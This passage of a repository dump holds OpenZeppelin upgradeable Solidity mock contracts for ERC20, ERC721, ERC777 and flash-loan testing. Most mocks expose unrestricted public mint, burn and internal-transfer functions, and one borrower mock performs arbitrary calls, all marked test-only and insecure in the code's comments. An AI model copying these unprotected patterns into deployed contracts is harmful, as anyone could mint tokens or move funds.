    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20CappedUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20CappedMockUpgradeable is Initializable, ERC20CappedUpgradeable {\n    function __ERC20CappedMock_init(\n        string memory name,\n        string memory symbol,\n        uint256 cap\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Capped_init_unchained(cap);\n        __ERC20CappedMock_init_unchained(name, symbol, cap);\n    }\n\n    function __ERC20CappedMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        uint256 cap\n    ) internal onlyInitializing {}\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20DecimalsMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/ERC20Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20DecimalsMockUpgradeable is Initializable, ERC20Upgradeable {\n    uint8 private _decimals;\n\n    function __ERC20DecimalsMock_init(\n        string memory name_,\n        string memory symbol_,\n        uint8 decimals_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name_, symbol_);\n        __ERC20DecimalsMock_init_unchained(name_, symbol_, decimals_);\n    }\n\n    function __ERC20DecimalsMock_init_unchained(\n        string memory name_,\n        string memory symbol_,\n        uint8 decimals_\n    ) internal onlyInitializing {\n        _decimals = decimals_;\n    }\n\n    function decimals() public view virtual override returns (uint8) {\n        return _decimals;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20FlashMintMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20FlashMintUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20FlashMintMockUpgradeable is Initializable, ERC20FlashMintUpgradeable {\n    function __ERC20FlashMintMock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20FlashMint_init_unchained();\n        __ERC20FlashMintMock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20FlashMintMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20MockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/ERC20Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// mock class using ERC20\ncontract ERC20MockUpgradeable is Initializable, ERC20Upgradeable {\n    function __ERC20Mock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Mock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20Mock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function transferInternal(\n        address from,\n        address to,\n        uint256 value\n    ) public {\n        _transfer(from, to, value);\n    }\n\n    function approveInternal(\n        address owner,\n        address spender,\n        uint256 value\n    ) public {\n        _approve(owner, spender, value);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20PausableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20PausableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// mock class using ERC20Pausable\ncontract ERC20PausableMockUpgradeable is Initializable, ERC20PausableUpgradeable {\n    function __ERC20PausableMock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __Pausable_init_unchained();\n        __ERC20Pausable_init_unchained();\n        __ERC20PausableMock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20PausableMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function mint(address to, uint256 amount) public {\n        _mint(to, amount);\n    }\n\n    function burn(address from, uint256 amount) public {\n        _burn(from, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20PermitMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20PermitMockUpgradeable is Initializable, ERC20PermitUpgradeable {\n    function __ERC20PermitMock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __EIP712_init_unchained(name, \"1\");\n        __ERC20Permit_init_unchained(name);\n        __ERC20PermitMock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20PermitMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20SnapshotMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20SnapshotUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20SnapshotMockUpgradeable is Initializable, ERC20SnapshotUpgradeable {\n    function __ERC20SnapshotMock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Snapshot_init_unchained();\n        __ERC20SnapshotMock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20SnapshotMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function snapshot() public {\n        _snapshot();\n    }\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20VotesCompMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20VotesCompMockUpgradeable is Initializable, ERC20VotesCompUpgradeable {\n    function __ERC20VotesCompMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __EIP712_init_unchained(name, \"1\");\n        __ERC20Permit_init_unchained(name);\n        __ERC20Votes_init_unchained();\n        __ERC20VotesComp_init_unchained();\n        __ERC20VotesCompMock_init_unchained(name, symbol);\n    }\n\n    function __ERC20VotesCompMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20VotesMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20VotesUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20VotesMockUpgradeable is Initializable, ERC20VotesUpgradeable {\n    function __ERC20VotesMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __EIP712_init_unchained(name, \"1\");\n        __ERC20Permit_init_unchained(name);\n        __ERC20Votes_init_unchained();\n        __ERC20VotesMock_init_unchained(name, symbol);\n    }\n\n    function __ERC20VotesMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20WrapperMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20WrapperUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20WrapperMockUpgradeable is Initializable, ERC20WrapperUpgradeable {\n    function __ERC20WrapperMock_init(\n        IERC20Upgradeable _underlyingToken,\n        string memory name,\n        string memory symbol\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Wrapper_init_unchained(_underlyingToken);\n        __ERC20WrapperMock_init_unchained(_underlyingToken, name, symbol);\n    }\n\n    function __ERC20WrapperMock_init_unchained(\n        IERC20Upgradeable _underlyingToken,\n        string memory name,\n        string memory symbol\n    ) internal onlyInitializing {}\n\n    function recover(address account) public returns (uint256) {\n        return _recover(account);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC2771ContextMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ContextMockUpgradeable.sol\";\nimport \"../metatx/ERC2771ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// By inheriting from ERC2771Context, Context's internal functions are overridden automatically\ncontract ERC2771ContextMockUpgradeable is Initializable, ContextMockUpgradeable, ERC2771ContextUpgradeable {\n    function __ERC2771ContextMock_init(address trustedForwarder) internal onlyInitializing {\n        __Context_init_unchained();\n        __ContextMock_init_unchained();\n        __ERC2771Context_init_unchained(trustedForwarder);\n        __ERC2771ContextMock_init_unchained(trustedForwarder);\n    }\n\n    function __ERC2771ContextMock_init_unchained(address trustedForwarder) internal onlyInitializing {}\n\n    function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address) {\n        return ERC2771ContextUpgradeable._msgSender();\n    }\n\n    function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) {\n        return ERC2771ContextUpgradeable._msgData();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC3156FlashBorrowerMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/IERC20Upgradeable.sol\";\nimport \"../interfaces/IERC3156Upgradeable.sol\";\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev WARNING: this IERC3156FlashBorrower mock implementation is for testing purposes ONLY.\n * Writing a secure flash lock borrower is not an easy task, and should be done with the utmost care.\n * This is not an example of how it should be done, and no pattern present in this mock should be considered secure.\n * Following best practices, always have your contract properly audited before using them to manipulate important funds on\n * live networks.\n */\ncontract ERC3156FlashBorrowerMockUpgradeable is Initializable, IERC3156FlashBorrowerUpgradeable {\n    bytes32 internal constant _RETURN_VALUE = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n    bool _enableApprove;\n    bool _enableReturn;\n\n    event BalanceOf(address token, address account, uint256 value);\n    event TotalSupply(address token, uint256 value);\n\n    function __ERC3156FlashBorrowerMock_init(bool enableReturn, bool enableApprove) internal onlyInitializing {\n        __ERC3156FlashBorrowerMock_init_unchained(enableReturn, enableApprove);\n    }\n\n    function __ERC3156FlashBorrowerMock_init_unchained(bool enableReturn, bool enableApprove) internal onlyInitializing {\n        _enableApprove = enableApprove;\n        _enableReturn = enableReturn;\n    }\n\n    function onFlashLoan(\n        address, /*initiator*/\n        address token,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) public override returns (bytes32) {\n        require(msg.sender == token);\n\n        emit BalanceOf(token, address(this), IERC20Upgradeable(token).balanceOf(address(this)));\n        emit TotalSupply(token, IERC20Upgradeable(token).totalSupply());\n\n        if (data.length > 0) {\n            // WARNING: This code is for testing purposes only! Do not use.\n            AddressUpgradeable.functionCall(token, data);\n        }\n\n        if (_enableApprove) {\n            IERC20Upgradeable(token).approve(token, amount + fee);\n        }\n\n        return _enableReturn ? _RETURN_VALUE : bytes32(0);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721BurnableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC721BurnableMockUpgradeable is Initializable, ERC721BurnableUpgradeable {\n    function __ERC721BurnableMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __ERC721Burnable_init_unchained();\n        __ERC721BurnableMock_init_unchained(name, symbol);\n    }\n\n    function __ERC721BurnableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721EnumerableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721EnumerableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721EnumerableMockUpgradeable is Initializable, ERC721EnumerableUpgradeable {\n    string private _baseTokenURI;\n\n    function __ERC721EnumerableMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __ERC721Enumerable_init_unchained();\n        __ERC721EnumerableMock_init_unchained(name, symbol);\n    }\n\n    function __ERC721EnumerableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    function setBaseURI(string calldata newBaseTokenURI) public {\n        _baseTokenURI = newBaseTokenURI;\n    }\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721MockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/ERC721Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721MockUpgradeable is Initializable, ERC721Upgradeable {\n    function __ERC721Mock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __ERC721Mock_init_unchained(name, symbol);\n    }\n\n    function __ERC721Mock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721PausableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721PausableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721PausableMock\n * This mock just provides a public mint, burn and exists functions for testing purposes\n */\ncontract ERC721PausableMockUpgradeable is Initializable, ERC721PausableUpgradeable {\n    function __ERC721PausableMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __Pausable_init_unchained();\n        __ERC721Pausable_init_unchained();\n        __ERC721PausableMock_init_unchained(name, symbol);\n    }\n\n    function __ERC721PausableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721ReceiverMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721ReceiverUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC721ReceiverMockUpgradeable is Initializable, IERC721ReceiverUpgradeable {\n    enum Error {\n        None,\n        RevertWithMessage,\n        RevertWithoutMessage,\n        Panic\n    }\n\n    bytes4 private _retval;\n    Error private _error;\n\n    event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas);\n\n    function __ERC721ReceiverMock_init(bytes4 retval, Error error) internal onlyInitializing {\n        __ERC721ReceiverMock_init_unchained(retval, error);\n    }\n\n    function __ERC721ReceiverMock_init_unchained(bytes4 retval, Error error) internal onlyInitializing {\n        _retval = retval;\n        _error = error;\n    }\n\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 tokenId,\n        bytes memory data\n    ) public override returns (bytes4) {\n        if (_error == Error.RevertWithMessage) {\n            revert(\"ERC721ReceiverMock: reverting\");\n        } else if (_error == Error.RevertWithoutMessage) {\n            revert();\n        } else if (_error == Error.Panic) {\n            uint256 a = uint256(0) / uint256(0);\n            a;\n        }\n        emit Received(operator, from, tokenId, data, gasleft());\n        return _retval;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721URIStorageMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721URIStorageUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721URIStorageMockUpgradeable is Initializable, ERC721URIStorageUpgradeable {\n    string private _baseTokenURI;\n\n    function __ERC721URIStorageMock_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __ERC721URIStorage_init_unchained();\n        __ERC721URIStorageMock_init_unchained(name, symbol);\n    }\n\n    function __ERC721URIStorageMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    function setBaseURI(string calldata newBaseTokenURI) public {\n        _baseTokenURI = newBaseTokenURI;\n    }\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function setTokenURI(uint256 tokenId, string memory _tokenURI) public {\n        _setTokenURI(tokenId, _tokenURI);\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC777MockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../token/ERC777/ERC777Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC777MockUpgradeable is Initializable, ContextUpgradeable, ERC777Upgradeable {\n    event BeforeTokenTransfer();\n\n    function __ERC777Mock_init(\n        address initialHolder,\n        uint256 initialBalance,\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC777_init_unchained(name, symbol, defaultOperators);\n        __ERC777Mock_init_unchained(initialHolder, initialBalance, name, symbol, defaultOperators);\n    }\n\n    function __ERC777Mock_init_unchained(\n        address initialHolder,\n        uint256 initialBalance,\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators\n    ) internal onlyInitializing {\n        _mint(initialHolder, initialBalance, \"\", \"\");\n    }\n\n    function mintInternal(\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) public {\n        _mint(to, amount, userData, operatorData);\n    }\n\n    function mintInternalExtended(\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) public {\n        _mint(to, amount, userData, operatorData, requireReceptionAck);\n    }\n\n    function approveInternal(\n        address holder,\n        address spender,\n        uint256 value\n    ) public {\n        _approve(holder, spender, value);\n    }\n\n    function _beforeTokenTransfer(\n        address,\n        address,\n        address,\n        uint256\n    ) internal override {\n        emit BeforeTokenTransfer();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC777SenderRecipientMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777Upgradeable.sol\";\nimport \"../token/ERC777/IERC777SenderUpgradeable.sol\";\nimport \"../token/ERC777/IERC777RecipientUpgradeable.sol\";\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../utils/introspection/IERC1820RegistryUpgradeable.sol\";\nimport \"../utils/introspection/ERC1820ImplementerUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC777SenderRecipientMockUpgradeable is Initializable, ContextUpgradeable, IERC777SenderUpgradeable, IERC777RecipientUpgradeable, ERC1820ImplementerUpgradeable {\n    function __ERC777SenderRecipientMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC1820Implementer_init_unchained();\n        __ERC777SenderRecipientMock_init_unchained();\n    }\n\n    function __ERC777SenderRecipientMock_init_unchained() internal onlyInitializing {\n        _erc1820 = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n    }\n    event TokensToSendCalled(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData,\n        address token,\n        uint256 fromBalance,\n        uint256 toBalance\n    );\n\n    event TokensReceivedCalled(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData,\n        address token,\n        uint256 fromBalance,\n        uint256 toBalance\n    );\n\n    // Emitted in ERC777Mock. Here for easier decoding\n    event BeforeTokenTransfer();\n\n    bool private _shouldRevertSend;\n    bool private _shouldRevertReceive;\n\n    IERC1820RegistryUpgradeable private _erc1820;\n\n    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256(\"ERC777TokensSender\");\n    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256(\"ERC777TokensRecipient\");\n\n    function tokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external override {\n        if (_shouldRevertSend) {\n            revert();\n        }\n\n        IERC777Upgradeable token = IERC777Upgradeable(_msgSender());\n\n        uint256 fromBalance = token.balanceOf(from);\n        // when called due to burn, to will be the zero address, which will have a balance of 0\n        uint256 toBalance = token.balanceOf(to);\n\n        emit TokensToSendCalled(\n            operator,\n            from,\n            to,\n            amount,\n            userData,\n            operatorData,\n            address(token),\n            fromBalance,\n            toBalance\n        );\n    }\n\n    function tokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external override {\n        if (_shouldRevertReceive) {\n            revert();\n        }\n\n        IERC777Upgradeable token = IERC777Upgradeable(_msgSender());\n\n        uint256 fromBalance = token.balanceOf(from);\n        // when called due to burn, to will be the zero address, which will have a balance of 0\n        uint256 toBalance = token.balanceOf(to);\n\n        emit TokensReceivedCalled(\n            operator,\n            from,\n            to,\n            amount,\n            userData,\n            operatorData,\n            address(token),\n            fromBalance,\n            toBalance\n        );\n    }\n\n    function senderFor(address account) public {\n        _registerInterfaceForAddress(_TOKENS_SENDER_INTERFACE_HASH, account);\n\n        address self = address(this);\n        if (account == self) {\n            registerSender(self);\n        }\n    }\n\n    function registerSender(address sender) public {\n        _erc1820.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, sender);\n    }\n\n    function recipientFor(address account) public {\n        _registerInterfaceForAddress(_TOKENS_RECIPIENT_INTERFACE_HASH, account);\n\n        address self = address(this);\n        if (account == self) {\n            registerRecipient(self);\n        }\n    }\n\n    function registerRecipient(address recipient) public {\n        _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, recipient);\n    }\n\n    function setShouldRevertSend(bool shouldRevert) public {\n        _shouldRevertSend = shouldRevert;\n    }\n\n    function setShouldRevertReceive(bool shouldRevert) public {\n        _shouldRevertReceive = shouldRevert;\n    